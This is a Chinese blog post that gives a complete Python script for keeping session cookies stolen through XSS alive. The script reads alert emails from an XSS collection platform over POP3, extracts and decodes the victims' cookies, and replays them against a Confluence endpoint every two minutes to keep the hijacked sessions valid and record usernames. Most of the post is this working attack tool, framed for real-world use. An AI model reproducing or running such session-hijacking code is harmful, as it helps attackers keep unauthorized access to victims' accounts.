Cookie会话维持脚本

实战中xss打cookie的过程总是漫长的,目前虽然可以通过邮件、各种api等方式提醒,但是很多时候没法及时使用cookie,从而导致cookie过期,所以用python写了一个小脚本进行cookie会话维持,代码写得比较烂,仅供参考
(此脚本仅适用吐司的xss平台:https://xss.sb/,思路其实都一样,改一下正则就能用)

一、思路

1、获取邮箱指定发件人的最新邮件
2、匹配cookie信息进行url解码
3、发送数据包判断cookie是否可用,进行cookie会话维持
4、持续获取最新邮件并发包

二、使用

1、xss平台配置邮件提醒

Cookie会话维持脚本-
Cookie会话维持脚本-

2、配置邮箱账号密码以及发件人邮箱

Cookie会话维持脚本-


3、配置数据包进行判断cookie是否有效,这里使用confluence进行演示

Cookie会话维持脚本-

4、配置循环时间,可根据打到cookie的频率和cookie超时时间而定

Cookie会话维持脚本-

5、使用效果

Cookie会话维持脚本-

三、完整代码

import poplib
import re
import urllib
import requests
import time
from email.parser import Parser
from datetime import datetime

Cookie_list = []
def mail_rec():
    server = poplib.POP3_SSL('pop.qq.com')
    # 登录到邮件服务器
    server.user('your_mail@qq.com')
    server.pass_('your_passwd')

    while True:
        try:
            # 获取邮件列表
            resp, mails, octets = server.list()

            # 遍历所有邮件
            latest_mail_index = None
            for i in range(len(mails), 0, -1):
                resp, lines, octets = server.retr(i)
                msg = Parser().parsestr(b'\n'.join(lines).decode())
                from_ = msg.get('From')
                if from_ == 'send_mail@qq.com': # 发件人邮箱
                    latest_mail_index = i
                    break

            # 如果找到了指定发件人的邮件
            if latest_mail_index is not None:
                # 获取邮件正文
                resp, lines, octets = server.retr(latest_mail_index)
                msg = Parser().parsestr(b'\n'.join(lines).decode())
                for part in msg.walk():
                    if part.get_content_type() == 'text/plain':
                        content = part.get_payload(decode=True).decode()
                        break

                # 提取cookie
                match = re.search(r"Cookie:(.*?) Address", content)
                matched_string = match.group(1)

                # url解码
                decoded_string = urllib.parse.unquote(matched_string)
                if decoded_string not in Cookie_list:
                    Cookie_list.append(decoded_string)
                session_keep()

            else:
                print('没有找到指定发件人的邮件')
            time.sleep(2 * 60) #每2分钟获取一次
        except KeyboardInterrupt:
            server.quit()
            break

def session_keep():
    url = "https://127.0.0.1:8090/rest/mywork/latest/status/notification/count"
    for seesion in Cookie_list:
        header = {
            "Cookie":seesion,
            "Referer":"https://127.0.0.1:8090/users/viewmyprofile.action",
            "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54"
        }

        response = requests.get(url=url,headers=header,allow_redirects=False)  #不进行重定向
        now = datetime.now()
        
        if response.status_code == 200:
            user = response.headers['X-AUSERNAME']  #获取响应标头中用户信息
            print("Cookie为:"+seesion+"状态:success"+"  用户名:"+user+"  时间:"+now.strftime('%Y-%m-%d %H:%M:%S'))
        else:
            print("Cookie为:"+seesion+"状态:failure")
            Cookie_list.remove(seesion)
if __name__ == '__main__':
    mail_rec()

四、后续可优化部分1、可以配置多个数据包模板,应对xss平台的多个项目,匹配Address发送不同的数据包
2、可以优化后台处理、结果输出等等,方便挂在vps上

© 版权声明
THE END
喜欢就支持一下吧
点赞6